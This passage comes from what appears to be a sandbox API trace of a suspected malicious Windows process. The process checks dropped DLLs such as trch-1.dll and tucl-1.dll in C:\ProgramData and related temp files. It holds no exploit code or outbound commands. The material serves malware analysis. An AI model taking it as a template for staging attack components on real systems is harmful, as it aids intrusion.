ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfb170, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="trch-1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.554] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.555] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.555] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.555] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\trch-1.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\trch-1.dll") returned 0x16 [0118.555] CharLowerBuffW (in: lpsz="EVBD660B.TMP", cchLength=0xc | out: lpsz="evbd660b.tmp") returned 0xc [0118.555] FindFirstFileW (in: lpFileName="c:\\programdata\\evbd660b.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bfb170, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x7a00, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x720074, nFileSizeLow=0x680063, dwReserved0=0x31002d, dwReserved1=0x64002e, cFileName="ll", cAlternateFileName="A縔uA((")) returned 0xffffffff [0118.555] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.555] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\trch-1.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\trch-1.dll\\") returned 0x2f [0118.555] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\trch-1.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\trch-1.dll\\") returned 0x2c [0118.555] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.555] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.555] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.555] CharLowerBuffW (in: lpsz="trfo-2.dll", cchLength=0xa | out: lpsz="trfo-2.dll") returned 0xa [0118.555] CharLowerBuffW (in: lpsz="c:\\programdata\\trfo-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trfo-2.dll") returned 0x19 [0118.555] CharLowerBuffW (in: lpsz="c:\\programdata\\trfo-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trfo-2.dll") returned 0x19 [0118.555] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.555] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.556] GetLastError () returned 0x12 [0118.556] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.556] FindFirstFileW (in: lpFileName="c:\\ProgramData\\trfo-2.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfb170, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfb170, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfd880, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="trfo-2.dll", cAlternateFileName="")) returned 0x7632b0 [0118.556] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.556] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.556] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.556] CharLowerBuffW (in: lpsz="c:\\ProgramData\\trfo-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trfo-2.dll") returned 0x19 [0118.556] CharLowerBuffW (in: lpsz="c:\\programdata\\trfo-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trfo-2.dll") returned 0x19 [0118.556] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.556] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.556] GetLastError () returned 0x12 [0118.556] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.556] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\trfo-2.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfb170, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfb170, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfd880, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="trfo-2.dll", cAlternateFileName="")) returned 0x7632b0 [0118.556] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.556] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.556] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.556] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\trfo-2.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\trfo-2.dll") returned 0x16 [0118.556] CharLowerBuffW (in: lpsz="EVB4E21D.TMP", cchLength=0xc | out: lpsz="evb4e21d.tmp") returned 0xc [0118.557] FindFirstFileW (in: lpFileName="c:\\programdata\\evb4e21d.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bfd880, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x4c00, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x720074, nFileSizeLow=0x6f0066, dwReserved0=0x32002d, dwReserved1=0x64002e, cFileName="ll", cAlternateFileName="A聄uA((")) returned 0xffffffff [0118.557] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.557] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\trfo-2.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\trfo-2.dll\\") returned 0x2f [0118.557] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\trfo-2.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\trfo-2.dll\\") returned 0x2c [0118.557] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.557] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.557] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.557] CharLowerBuffW (in: lpsz="tucl-1.dll", cchLength=0xa | out: lpsz="tucl-1.dll") returned 0xa [0118.557] CharLowerBuffW (in: lpsz="c:\\programdata\\tucl-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tucl-1.dll") returned 0x19 [0118.557] CharLowerBuffW (in: lpsz="c:\\programdata\\tucl-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tucl-1.dll") returned 0x19 [0118.557] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.557] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.557] GetLastError () returned 0x12 [0118.557] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.557] FindFirstFileW (in: lpFileName="c:\\ProgramData\\tucl-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfd880, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfd880, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfd880, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="tucl-1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.557] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.557] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.557] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.557] CharLowerBuffW (in: lpsz="c:\\ProgramData\\tucl-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tucl-1.dll") returned 0x19 [0118.558] CharLowerBuffW (in: lpsz="c:\\programdata\\tucl-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tucl-1.dll") returned 0x19 [0118.558] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.558] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.558] GetLastError () returned 0x12 [0118.558] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.558] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\tucl-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfd880, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfd880, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfd880, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="tucl-1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.558] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.558] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.558] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.558] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\tucl-1.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\tucl-1.dll") returned 0x16 [0118.558] CharLowerBuffW (in: lpsz="EVBFAC8D.TMP", cchLength=0xc | out: lpsz="evbfac8d.tmp") returned 0xc [0118.558] FindFirstFileW (in: lpFileName="c:\\programdata\\evbfac8d.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bfd880, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x2400, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x750074, nFileSizeLow=0x6c0063, dwReserved0=0x31002d, dwReserved1=0x64002e, cFileName="ll", cAlternateFileName="A縔uA((")) returned 0xffffffff [0118.558] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.558] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\tucl-1.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\tucl-1.dll\\") returned 0x2f [0118.558] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\tucl-1.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\tucl-1.dll\\") returned 0x2c [0118.558] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.558] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.558] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.558] CharLowerBuffW (in: lpsz="ucl.dll", cchLength=0x7 | out: lpsz="ucl.dll") returned 0x7 [0118.559] CharLowerBuffW (in: lpsz="c:\\programdata\\ucl.dll", cchLength=0x16 | out: lpsz="c:\\programdata\\ucl.dll") returned 0x16 [0118.559] CharLowerBuffW (in: lpsz="c:\\programdata\\ucl.dll", cchLength=0x16 | out: lpsz="c:\\programdata\\ucl.dll") returned 0x16 [0118.559] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.559] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.559] GetLastError () returned 0x12 [0118.559] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.559] FindFirstFileW (in: lpFileName="c:\\ProgramData\\ucl.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfff90, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfff90, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfff90, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucl.dll", cAlternateFileName="")) returned 0x7632b0 [0118.559] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.559] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.559] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.559] CharLowerBuffW (in: lpsz="c:\\ProgramData\\ucl.dll", cchLength=0x16 | out: lpsz="c:\\programdata\\ucl.dll") returned 0x16 [0118.559] CharLowerBuffW (in: lpsz="c:\\programdata\\ucl.dll", cchLength=0x16 | out: lpsz="c:\\programdata\\ucl.dll") returned 0x16 [0118.559] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.559] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.559] GetLastError () returned 0x12 [0118.559] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.559] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\ucl.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfff90, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfff90, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfff90, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucl.dll", cAlternateFileName="")) returned 0x7632b0 [0118.559] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.559] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.560] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.560] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\ucl.dll", cchLength=0x13 | out: lpsz="c:\\progra~3\\ucl.dll") returned 0x13 [0118.560] CharLowerBuffW (in: lpsz="EVB5F02C.TMP", cchLength=0xc | out: lpsz="evb5f02c.tmp") returned 0xc [0118.560] FindFirstFileW (in: lpFileName="c:\\programdata\\evb5f02c.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bfff90, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x6000, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x630075, nFileSizeLow=0x2e006c, dwReserved0=0x6c0064, dwReserved1=0x6c, cFileName="", cAlternateFileName="A臌uA((")) returned 0xffffffff [0118.560] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.560] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\ucl.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\programdata\\ucl.dll\\") returned 0x2c [0118.560] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\ucl.dll\\", cchLength=0x29 | out: lpsz="\\device\\harddiskvolume1\\progra~3\\ucl.dll\\") returned 0x29 [0118.560] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.560] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.560] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.560] CharLowerBuffW (in: lpsz="xdvl-0.dll", cchLength=0xa | out: lpsz="xdvl-0.dll") returned 0xa [0118.560] CharLowerBuffW (in: lpsz="c:\\programdata\\xdvl-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\xdvl-0.dll") returned 0x19 [0118.560] CharLowerBuffW (in: lpsz="c:\\programdata\\xdvl-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\xdvl-0.dll") returned 0x19 [0118.560] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.560] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.560] GetLastError () returned 0x12 [0118.560] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.560] FindFirstFileW (in: lpFileName="c:\\ProgramData\\xdvl-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfff90, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfff90, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfff90, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="xdvl-0.dll", cAlternateFileName="")) returned 0x7632b0 [0118.560] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.560] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.561] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.561] CharLowerBuffW (in: lpsz="c:\\ProgramData\\xdvl-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\xdvl-0.dll") returned 0x19 [0118.561] CharLowerBuffW (in: lpsz="c:\\programdata\\xdvl-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\xdvl-0.dll") returned 0x19 [0118.561] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, 